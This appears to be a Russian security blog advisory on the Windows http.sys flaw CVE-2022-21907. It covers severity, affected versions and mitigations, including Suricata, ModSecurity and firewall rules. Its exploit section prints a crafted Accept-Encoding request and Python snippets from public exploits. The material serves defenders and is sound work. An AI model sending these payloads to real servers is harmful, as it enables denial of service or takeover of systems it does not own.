Уязвимость сетевого стека HTTP Protocol Stack операционных систем Microsoft Windows
Уязвимость сетевого стека HTTP Protocol Stack операционных систем Microsoft Windows
Категория: Программы Теги: Уязвимости Опубликовано: 5 июня 2025

Уязвимость BDU:2022-00163 (CVE-2022-21907) http.sys Windows

Уязвимость BDU:2022-00163 (CVE-2022-21907) представляет собой критическую ошибку в сетевом стеке HTTP Protocol Stack (http.sys) операционных систем Microsoft Windows. Уязвимость связана с обработкой заголовка Accept-Encoding в HTTP-запросах, где специально сформированные данные вызывают переполнение буфера в памяти. Это позволяет злоумышленнику выполнить произвольный код или вызвать отказ в обслуживании (DoS).

Анализ уязвимости

Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки: Сеть) - Атака выполняется удаленно через сеть

  • AC:L (Сложность атаки: Низкая) - Не требует специальных условий эксплуатации

  • PR:N (Уровень привилегий: Не требуется) - Аутентификация не требуется

  • UI:N (Взаимодействие с пользователем: Не требуется) - Действия пользователя не требуется

  • S:U (Область воздействия: Не оказывает) - Не затрагивает другие компоненты системы

  • C:H (Влияние на конфиденциальность: Высокое) - Полный доступ к конфиденциальным данным

  • I:H (Влияние на целостность: Высокое) - Полный контроль над системой

  • A:H (Влияние на доступность: Высокое) - Полный отказ в обслуживании

Условия эксплуатации

  1. Целевая система должна использовать уязвимые версии ОС Windows

  2. Сервер должен иметь открытый HTTP/HTTPS-порт (80/443)

  3. Для Windows Server 2019/Windows 10 1809 требуется включенный параметр реестра EnableTrailerSupport

  4. Злоумышленнику нужен сетевой доступ к уязвимому серверу

Уязвимые версии ОС

  • Windows 10 1809 64-bit
  • Windows 10 1809 32-bit
  • Windows 10 1809 ARM64
  • Windows 10 20H2 ARM64
  • Windows 10 20H2 32-bit
  • Windows 10 20H2 64-bit
  • Windows 10 21H1 32-bit
  • Windows 10 21H1 64-bit
  • Windows 10 21H1 ARM64
  • Windows 10 21H2 64-bit
  • Windows 10 21H2 32-bit
  • Windows 10 21H2 ARM64
  • Windows 11 64-bit
  • Windows 11 ARM64
  • Windows Server 2019
  • Windows Server 2019 Server Core installation
  • Windows Server 20H2 Server Core Installation
  • Windows Server 2022
  • Windows Server 2022 Server Core installation

Технический механизм уязвимости

Уязвимость CVE-2022-21907 возникает в функции обработки заголовка Accept-Encoding в драйвере http.sys. При получении специально сформированной последовательности кодировок происходит ошибка управления памятью.

Эксплуатация возможна через отправку HTTP-запроса с искусственно усложненным заголовком Accept-Encoding:

GET / HTTP/1.1
Host: vulnerable-server
Accept-Encoding: AAAAAAAAAAAAAAAAAAAAAAAA, 
BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,
RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,
****************************stupiD, *, ,

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости BDU:2022-00163.

Анализ эксплоитов

1. Эксплоит от antx (Python)

headers = {
    'Accept-Encoding': 'AAAAAAAAAAAAAAAAAAAAAAAA, '
    'BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S, '
    # ... дополнительные искусственные кодировки ...
    '****************************stupiD, *, ,'
}

try:
    r = requests.get(target, headers=headers, timeout=10)
except requests.exceptions.ReadTimeout:
    print("Уязвимость присутствует!")

Механизм:

  • Отправка специфической последовательности кодировок

  • Проверка на таймаут ответа как индикатор успешной атаки

  • Ложные срабатывания возможны при проблемах с сетью

2. Эксплоит от polakow (Python)

data = "200\r\n" + "A" * 0x200 + "\r\n" * 4

payload = f"GET / HTTP/1.1\r\nHost: {target}\r\n"
payload += "TE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n"
payload += data + data + "0\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendall(payload.encode())

Особенности:

  • Использует комбинацию chunked encoding и trailers

  • Отправка повторяющихся блоков данных для усиления эффекта

  • Поддержка IPv6 и HTTPS

3. Эксплоит от Podalirius (Python)

    # ... длинная строка ...
     payload = 'AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,'

requests.get(target, headers={"Accept-Encoding": payload})

Преимущества:

  • Минималистичная реализация

  • Встроенный мониторинг состояния сервера

  • Четкая индикация успешности атаки

Защитные меры

  1. Установка официальных обновлений
    Microsoft выпустила патчи в январских обновлениях 2022 года.

  2. Отключение уязвимой функциональности
    Для Windows Server 2019 и Windows 10 1809:

    Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\HTTP\Parameters" -Name "EnableTrailerSupport" -ErrorAction SilentlyContinue
    Restart-Computer -Force
  3. Правила для Suricata (IPS)
    Добавьте в suricata.rules:

    alert http any any -> any any (msg:"CVE-2022-21907 Exploit Attempt"; 
    flow:established,to_server; 
    content:"Accept-Encoding"; nocase; 
    pcre:"/Accept-Encoding\s*:\s*([^,]{100,}|[^,]*,{10})/i"; 
    classtype:attempted-admin; sid:20220107; rev:1;)

    Объяснение правил:

    • Блокирует запросы с заголовком Accept-Encoding длиннее 100 символов

    • Или содержащие более 10 запятых в значении

    • Минимизирует ложные срабатывания для легитимных запросов

  4. Правила для ModSecurity (WAF)
    Для IIS с установленным ModSecurity:

    SecRule REQUEST_HEADERS:Accept-Encoding "@rx ([^,]{100,}|[^,]*,{10})" 
    "id:10007,phase:1,deny,status:400,msg:'CVE-2022-21907 Exploit Attempt'"
  5. Сегментация сети

    • Ограничьте доступ к HTTP/HTTPS-портам корпоративным VPN

    • Реализуйте сетевые ACL:

      # Пример для Windows Firewall
      New-NetFirewallRule -DisplayName "Block HTTP External" `
        -Direction Inbound -LocalPort 80,443 -Protocol TCP `
        -Action Block -InterfaceType Public

Заключение

BDU:2022-00163 (CVE-2022-21907) представляет серьезную угрозу для инфраструктур на базе Windows Server. Критическая оценка CVSS 9.8 подчеркивает важность немедленного применения патчей. Для временной защиты эффективны WAF/IPS-правила, блокирующие аномальные заголовки Accept-Encoding. Системным администраторам следует уделить особое внимание системам, недоступным для немедленного обновления, реализовав комбинацию сетевых контролей и мониторинга подозрительных запросов.

Алексей Черемных Алексей Черемных
39